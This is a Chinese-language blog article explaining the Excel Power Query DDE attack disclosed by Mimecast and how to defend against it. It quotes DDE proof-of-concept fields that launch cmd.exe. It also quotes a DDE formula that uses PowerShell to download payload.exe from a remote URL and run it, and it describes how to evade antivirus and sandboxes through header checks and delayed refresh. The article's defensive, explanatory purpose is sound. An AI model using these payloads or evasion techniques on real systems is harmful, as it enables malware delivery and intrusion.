从数据到信息
从信息到洞察

Excel PowerQuery被曝存在DDE安全漏洞,如何防御?

6 月 27 日,Mimecast 威胁中心发现一个可利用 Excel Power Query 执行远程攻击的新漏洞。经过测试,该漏洞可以动态地将 DDE(Dynamic Data Exchange 动态数据交换)攻击启动到 Excel 电子表格中,借助 Powerquery 作为攻击载荷(payload)下载并执行远程资源,从而导致系统被攻击。

最近,cnBeta、Linux 中国等媒体陆续报道了这一新闻,但内容较为笼统而且有可能造成误解。本文为你还原这个漏洞的执行过程、触发条件以及应对策略。

什么是 DDE

DDE 是 Dynamic Data Exchange 的缩写,是一种基于 Office 的动态数据交换协议,它在共享数据的应用程序之间发送消息,使用共享内存在应用程序之间交换数据。应用程序可以使用 DDE 协议进行一次性数据传输和持续交换。DDE 技术本身是中性跟合法的,这也是微软为什么不从根本上禁止 DDE 的原因。该协议目前已被微软的目标链接与嵌入(OLE)协议所代替,但 DDE 协议仍然能够使用。

很多不法分子都曾利用过 DDE 攻击,在 Office 应用中进行 DDE 攻击并不是什么新鲜事。

什么是 DDE 攻击

DDE 攻击是不同于宏攻击的另一种方式,简单的说,DDE 攻击在 Office 应用中嵌入一段恶意代码,用户打开包含恶意代码的应用时会收到两个提示,如果全部点是,恶意代码就会执行。

Word、Excel、Outlook 都可以执行 DDE 攻击,以 Word 为例,新建一个 Word 文档,通过 Ctrl+F9 添加一个域,输入 POC:

{ DDEAUTO c:windowssystem32cmd.exe “/k calc.exe” }

{ DDE c:windowssystem32cmd.exe “/k calc.exe” }

根据 Word 中的安全设置,每当在 Word 文档中执行 DDE 命令时,将显示两个警告,点击确定,指定的程序(计算器)将会执行

在 Excel 中执行类似的 DDE:

在 Outlook 中:

可以看出,这些 DDE 攻击虽然隐蔽,但只要能及时拒绝来路不明的访问和程序执行命令,就可以规避风险。

通过 PowerQuery 执行 DDE 攻击

与上面介绍的攻击方式不同,Mimecast 发现借助 PowerQuery 可以发起更复杂、难以检测的攻击。借助 PowerQuery 的一些功能,攻击者只需要引诱对方打开一个电子表格,即可发起远程攻击,某些特定版本甚至无需用户执行任何进一步的操作或确认。

我们已经知道,执行 DDE 攻击前需要先嵌入一段代码,由于 PowerQuery 本身就是一个可以远程获取数据的工具,因此攻击者完全可以不将代码事先保存在 Excel 中,而是让 Excel 通过远程连接获取。测试中安全人员构造了一个 Web 页面(http://127.0.0.1:80)保存恶意代码:

=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

使用 PQ 获取页面内容,加载到 Excel

加载到 Excel 的代码需要用户双击确认后才能执行,但是安全人员发现如果使用的是 Excel 2010,代码不需要任何确认就可以自动运行。可以看出这已经是一种比较危险的情况了,但是别忘了如果你装了杀毒软件,它可以监测出你访问的不安全链接并给予警告或将文件隔离,不过很快研究人员又发现了新的绕行方式。

使用 PowerQuery 绕过杀毒软件和沙盒测试

研究人员在 Web 请求中使用特定的 HTTP Header 字段与服务器通信,使攻击载荷成功绕过专门针对这类恶意内容的反病毒软件以及沙盒环境。也就是说只有请求中包含特定的 HTTP 头部字段时,Web 服务器才会提供恶意内容。杀毒软件会从文件中提取 HTTP 服务器的 URL 地址,但并不会去解析头部数据。当它们发送测试请求时,远程服务器从 Header 信息中判断该请求来自于杀毒软件,而非电子表格。

如果另一个程序试图部分模拟 Power Query 的行为,不使用正确的 Referer 字段请求 Web 页面,就不能得到正确结果。只有使用 Microsoft Excel 应用来打开原始文档时才能获取攻击载荷。

不过杀毒软件还有一种安全策略是 Sandbox(沙盒)测试,可疑程序被隔离在一个沙盒中扫描,整个程序执行完毕检测安全后才会放行。而借助 PowerQuery 的设置和构造特定的恶意代码,安全人员也成功绕过了沙盒机制!

由于沙盒环境也会在请求中发送自定义头部,因此需要使用一种新的方法来避免被检测。这里我们可以使用 Power Query 中的“auto refresh”(自动刷新)以及“refresh”(刷新)时间间隔参数。

为了欺骗杀毒软件,安全人员强制让文件在打开时刷新数据,然后在保存文件前移除来自外部数据源的数据。这些属性可以确保在文件打开时会更新文件中的攻击载荷。我们可以设置文件每分钟刷新一次(这是最短的时间间隔),然后在第 10 次请求时提供载荷数据。这意味着如果沙盒运行该文件的时间少于 10 分钟,那么就永远拿不到攻击载荷

测试表明,大多数静态分析的杀毒软件都检测不出该文件(因为没有使用特定的 header 通信),而沙盒或其他安全解决方案只会一次或者两次下载 web 内容,因此也检测不出来。

看到这里,除了意识到潜在的危险外,我也不禁感叹 PowerQuery 的灵活性确实有很大的挖掘空间。

解决方案

如果是传统的 DDE 攻击场景,防护措施并不复杂,提高个人安全意识,拒绝下载或打开来路不明的附件和文档。对于访问外网和 EXE 程序的弹出提示,谨慎选择。

微软 2017 年发布了一个针对性的安全公告(4053440),专门为 DDE 攻击提供了一些安全设置建议,比如如何关闭自动更新链接等功能。即使是新型的 PowerQuery 攻击方式(目前只在实验室里模拟过),可以通过安装微软发布的安全更新(ADV170021)选择性关闭 DDE 协议来解决。

对于企业用户来讲,设置域安全策略和外网防火墙是更加保险的方式。

需要注意的是,DDE 是基于 Windows 的一种数据交换方式,所以 Mac 系统不会受到此类攻击,Power BI Desktop 不具备执行恶意代码的可能,也不会遇到这个问题。最后,不管什么时候,避免使用过老的软件版本、定期安装更新都是明智的策略。

 

 

参考文章:

 

说点什么

1000
 
鼓掌微笑开心憧憬爱你色并不觉得吃瓜doge二哈喵喵思考笑哭捂脸悲伤大哭抓狂汗偷笑打脸捂眼黑线问号晕拜拜闭嘴衰咒骂ok作揖
  订阅本文评论  
提醒